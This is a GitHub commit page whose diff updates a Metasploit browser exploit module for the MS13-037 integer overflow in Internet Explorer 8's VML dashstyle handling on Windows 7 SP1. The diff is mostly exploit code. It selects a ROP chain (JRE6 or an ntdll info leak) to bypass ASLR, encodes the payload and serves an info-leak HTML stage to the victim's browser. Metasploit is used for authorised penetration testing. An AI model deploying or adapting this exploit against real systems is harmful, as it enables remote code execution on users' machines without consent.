Skip to content

Commit 2dedaee

Browse files
committed
Working version after the upgrade
1 parent 9e3388d commit 2dedaee

File tree

1 file changed

+24
-15
lines changed

1 file changed

+24
-15
lines changed

modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb

Lines changed: 24 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -28,18 +28,25 @@ def initialize(info={})
2828
'Description' => %q{
2929
This module exploits an integer overflow vulnerability on Internet Explorer.
3030
The vulnerability exists in the handling of the dashstyle.array length for vml
31-
shapes on the vgx.dll module. This module has been tested successfully on Windows 7
32-
SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
33-
to use an info leak to disclose the ntdll.dll base address is provided. This target
34-
requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
35-
installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
31+
shapes on the vgx.dll module.
32+
33+
This module has been built and tested specifically against Windows 7 SP1 with
34+
Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to
35+
bypass ASLR, and by default the info leak is used. The ntdll version should be
36+
either v6.1.7601.17514 (the default dll version on a newly installed/unpatched
37+
Windows 7 SP1), or ntdll.dll v6.1.7601.17725 (installed after apply MS12-001).
38+
39+
If you wish to try the JRE6 component instead to bypass ASLR, you can set the
40+
advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't
41+
have this particular component, the exploit will refuse the attack.
3642
},
3743
'License' => MSF_LICENSE,
3844
'Author' =>
3945
[
4046
'Nicolas Joly', # Vulnerability discovery, PoC and analysis
41-
'4B5F5F4B', # PoC
42-
'juan vazquez' # Metasploit module
47+
'4B5F5F4B', # PoC
48+
'juan vazquez', # Metasploit module
49+
'sinn3r' # BES upgrade
4350
],
4451
'References' =>
4552
[
@@ -61,10 +68,11 @@ def initialize(info={})
6168
'InitialAutoRunScript' => 'migrate -f'
6269
},
6370
'Platform' => 'win',
71+
'Arch' => ARCH_X86,
6472
'BrowserRequirements' =>
6573
{
6674
:source => /script/i,
67-
:os_name => OperatingSystems::WINDOWS,
75+
:os_name => OperatingSystems::Match::WINDOWS_7,
6876
:ua_name => HttpClients::IE,
6977
:ua_ver => '8.0',
7078
},
@@ -181,10 +189,10 @@ def get_ntdll_rop
181189
def get_payload(t, cli)
182190
code = payload.encoded
183191
# No rop. Just return the payload.
184-
return code if t['Rop'].nil?
192+
return code if t.opts['Rop'].nil?
185193

186194
# Both ROP chains generated by mona.py - See corelan.be
187-
case t['Rop']
195+
case t.opts['Rop']
188196
when :jre
189197
print_status("Using JRE ROP")
190198
stack_pivot = [
@@ -363,13 +371,13 @@ def html_info_leak
363371
def set_rop(t, rop, info)
364372
case rop
365373
when /^ntdll$/i
366-
t['Rop'] = :ntdll
374+
t.opts['Rop'] = :ntdll
367375
when /^jre6$/i
368376
if info[:java] !~ /1\.6|6\.0/
369-
raise RuntimeError, "Target does not have the suitable Java component installed for our attack"
377+
raise RuntimeError, "Target does not have the suitable Java component (1.6) installed for our attack"
370378
end
371379

372-
t['Rop'] = :jre
380+
t.opts['Rop'] = :jre
373381
end
374382

375383
return t
@@ -379,11 +387,12 @@ def on_request_exploit(cli, request, target_info)
379387
begin
380388
my_target = set_rop(get_target, datastore['ROP'], target_info)
381389
rescue RuntimeError => e
382-
print_error(e.message)
390+
# This one is just a warning, because it's a requirement check so it's not that scary.
391+
print_warning(e.message)
383392
return
384393
end
385394

386-
if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
395+
if my_target.opts['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
387396
html = html_info_leak
388397
print_status("Sending HTML to info leak...")
389398
send_response(cli, html, {'Content-Type'=>'text/html'})

0 commit comments

Comments
 (0)